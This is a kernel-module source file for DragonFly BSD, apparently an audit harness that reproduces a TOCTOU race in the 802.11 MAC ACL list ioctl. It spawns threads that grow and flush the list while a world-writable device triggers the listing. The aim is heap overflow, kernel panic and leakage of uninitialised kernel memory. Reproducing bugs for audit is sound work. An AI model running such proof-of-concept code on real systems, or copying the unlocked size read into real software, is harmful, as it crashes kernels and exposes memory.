DF-0732 / harness_mod.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 | /* * DF-0732 harness kernel module. * * The vulnerable code path (acl_getioctl / IEEE80211_MACCMD_LIST in * wlan_acl/ieee80211_acl.c) is only reachable on a live 802.11 vap, which * needs a wireless radio driver — none ship in the audit VM. This module * reproduces the exact TOCTOU at the object level: it allocates a minimal * zeroed ieee80211vap, attaches the real "mac" aclator (wlan_acl.ko), and * exposes /dev/df0732 whose ioctl handler invokes the aclator's * iac_getioctl in the calling user's context (so copyout works), while a * concurrent kthread continuously calls iac_add to grow the list. * * Bug: acl_getioctl reads as->as_nacls WITHOUT the ACL_LOCK to size the * kmalloc, then takes the lock and TAILQ_FOREACH-walks the *current* * (possibly grown) list, writing attacker-controlled MAC bytes past the * ap[] end. With INVARIANTS (default GENERIC) the resulting slab * corruption is detected on IEEE80211_FREE(ap) and the kernel panics. * * Load: kldload ./harness_mod.ko * Drive: ./trigger */ #include "opt_wlan.h" #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/module.h> #include <sys/conf.h> #include <sys/device.h> #include <sys/ioccom.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/proc.h> #include <sys/kthread.h> #include <sys/thread.h> #include <sys/thread2.h> #include <sys/socket.h> #include <sys/mbuf.h> #include <net/if.h> #include <net/if_var.h> #include <net/if_media.h> #include <net/ethernet.h> #include <net/route.h> #include <netproto/802_11/ieee80211_var.h> #include <netproto/802_11/ieee80211_ioctl.h> #include <netproto/802_11/ieee80211_proto.h> /* ioctl the trigger issues: "give me the ACL list into this user buffer" */ struct df0732_list_req { void *buf; size_t len; size_t *ret_len; /* kernel writes actual data length here */ }; #define DF0732_IOCTL_LIST _IOW('D', 1, struct df0732_list_req) static struct ieee80211vap *fake_vap; static const struct ieee80211_aclator *acl; static struct thread *adder_td; static struct thread *flusher_td; static volatile int harness_stop; static volatile int adder_done; static volatile int flusher_done; static volatile unsigned long add_count; static volatile unsigned long flush_count; static volatile unsigned long race_detected; static volatile unsigned long total_ioctl_calls; static cdev_t df0732_dev; static d_open_t df0732_open; static d_close_t df0732_close; static d_ioctl_t df0732_ioctl; static struct dev_ops df0732_ops = { .head = { .name = "df0732", .maj = 0, .flags = 0 }, .d_open = df0732_open, .d_close = df0732_close, .d_ioctl = df0732_ioctl, }; static int df0732_open(struct dev_open_args *ap) { return 0; } static int df0732_close(struct dev_close_args *ap) { return 0; } static int df0732_ioctl(struct dev_ioctl_args *ap) { struct df0732_list_req *reqp; struct ieee80211req ireq; struct ieee80211req ireq_after; int error; /* DragonFly's ioctl(2) already copyin()'d our _IOW argument into * a kernel buffer; ap->a_data IS that kernel buffer, not a user * pointer. Dereference directly. */ if (ap->a_cmd != DF0732_IOCTL_LIST) return ENOTTY; reqp = (struct df0732_list_req *)ap->a_data; /* Build an ieee80211req exactly like SIOCG80211 MACCMD_LIST. */ memset(&ireq, 0, sizeof(ireq)); ireq.i_type = IEEE80211_IOC_MACCMD; ireq.i_val = IEEE80211_MACCMD_LIST; ireq.i_data = reqp->buf; /* user-space destination buffer */ ireq.i_len = reqp->len; /* nonzero => hit alloc+walk path */ if (total_ioctl_calls < 3) { kprintf("df0732_ioctl: reqp=%p buf=%p len=%zu ret_len=%p\n", reqp, reqp->buf, reqp->len, reqp->ret_len); } error = acl->iac_getioctl(fake_vap, &ireq); /* Diagnostic: read current count under lock to detect TOCTOU. */ memset(&ireq_after, 0, sizeof(ireq_after)); ireq_after.i_type = IEEE80211_IOC_MACCMD; ireq_after.i_val = IEEE80211_MACCMD_LIST; ireq_after.i_len = 0; /* i_len=0 => returns count, no alloc */ acl->iac_getioctl(fake_vap, &ireq_after); if (error == 0) { uint32_t returned_entries = ireq.i_len / IEEE80211_ADDR_LEN; uint32_t actual_entries = ireq_after.i_len / IEEE80211_ADDR_LEN; if (returned_entries != actual_entries && (returned_entries < actual_entries || returned_entries > actual_entries + 1)) { __atomic_fetch_add(&race_detected, 1, __ATOMIC_RELAXED); if (race_detected <= 20) { kprintf("df0732 RACE: returned=%u " "actual=%u\n", returned_entries, actual_entries); } } if (total_ioctl_calls < 10) { kprintf("df0732 call %lu: returned=%u actual=%u " "err=%d\n", total_ioctl_calls, returned_entries, actual_entries, error); } __atomic_fetch_add(&total_ioctl_calls, 1, __ATOMIC_RELAXED); if (reqp->ret_len != NULL) copyout(&ireq.i_len, reqp->ret_len, sizeof(ireq.i_len)); } else { if (total_ioctl_calls < 10) { kprintf("df0732 call %lu: ERROR=%d\n", total_ioctl_calls, error); } __atomic_fetch_add(&total_ioctl_calls, 1, __ATOMIC_RELAXED); } return error; } static void adder_thread(void *arg) { uint8_t mac[IEEE80211_ADDR_LEN] = { 0xde, 0xad, 0xbe, 0xef, 0x00, 0x00 }; uint32_t counter = 0; while (!harness_stop) { mac[3] = (counter >> 16) & 0xff; mac[4] = (counter >> 8) & 0xff; mac[5] = counter & 0xff; counter++; acl->iac_add(fake_vap, mac); /* grows as_list under ACL_LOCK */ __atomic_fetch_add(&add_count, 1, __ATOMIC_RELAXED); if ((counter & 0x3fff) == 0) lwkt_yield(); } adder_done = 1; wakeup(&adder_done); kthread_exit(); } /* * Flusher kthread: periodically clears the entire ACL list. This sets up * the "shrink race": the lister reads as_nacls=N (unlocked), allocates N*6 * bytes (no M_ZERO), then we flush the list to 0; the lister walks 0 * entries and ships N*6 bytes of uninitialized heap to userland = info * leak. Also creates the grow race by cycling the list size. */ static void flusher_thread(void *arg) { while (!harness_stop) { /* Brief pause so the list grows between flushes. */ tsleep(&flusher_td, 0, "df0732fl", hz / 100 + 1); acl->iac_flush(fake_vap); /* clears as_list/as_nacls */ __atomic_fetch_add(&flush_count, 1, __ATOMIC_RELAXED); } flusher_done = 1; wakeup(&flusher_done); kthread_exit(); } static int df0732_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: acl = ieee80211_aclator_get("mac"); if (acl == NULL) { kprintf("df0732: wlan_acl not loaded\n"); return ENXIO; } fake_vap = kmalloc(sizeof(*fake_vap), M_TEMP, M_INTWAIT | M_ZERO); if (fake_vap == NULL) return ENOMEM; if (!acl->iac_attach(fake_vap)) { kfree(fake_vap, M_TEMP); return ENXIO; } harness_stop = 0; adder_done = 0; flusher_done = 0; add_count = 0; flush_count = 0; /* Pre-populate so the first LIST is non-trivial. */ for (uint32_t i = 0; i < 16; i++) { uint8_t m[6] = {0xaa,0xbb,0xcc,0xdd, (uint8_t)(i>>8), (uint8_t)i}; acl->iac_add(fake_vap, m); } kthread_create(adder_thread, NULL, &adder_td, "df0732_add"); kthread_create(flusher_thread, NULL, &flusher_td, "df0732_flu"); df0732_dev = make_dev(&df0732_ops, 0, UID_ROOT, GID_WHEEL, 0666, "df0732"); kprintf("df0732: harness loaded (/dev/df0732); " "adder+flusher kthreads running\n"); return 0; case MOD_UNLOAD: harness_stop = 1; while (!adder_done) tsleep(&adder_done, 0, "df0732un", hz); while (!flusher_done) tsleep(&flusher_done, 0, "df0732un", hz); if (df0732_dev != NULL) destroy_dev(df0732_dev); if (acl != NULL && fake_vap != NULL) acl->iac_detach(fake_vap); if (fake_vap != NULL) kfree(fake_vap, M_TEMP); kprintf("df0732: harness unloaded " "(adds=%lu flushes=%lu races=%lu)\n", add_count, flush_count, race_detected); return 0; } return EINVAL; } DEV_MODULE(df0732, df0732_modevent, NULL); /* Note: IEEE80211_ACL_MODULE prepends "wlan_" so the registered module * name is "wlan_wlan_acl", not "wlan_acl". */ MODULE_DEPEND(df0732, wlan_wlan_acl, 1, 1, 1); MODULE_DEPEND(df0732, wlan, 1, 1, 1); |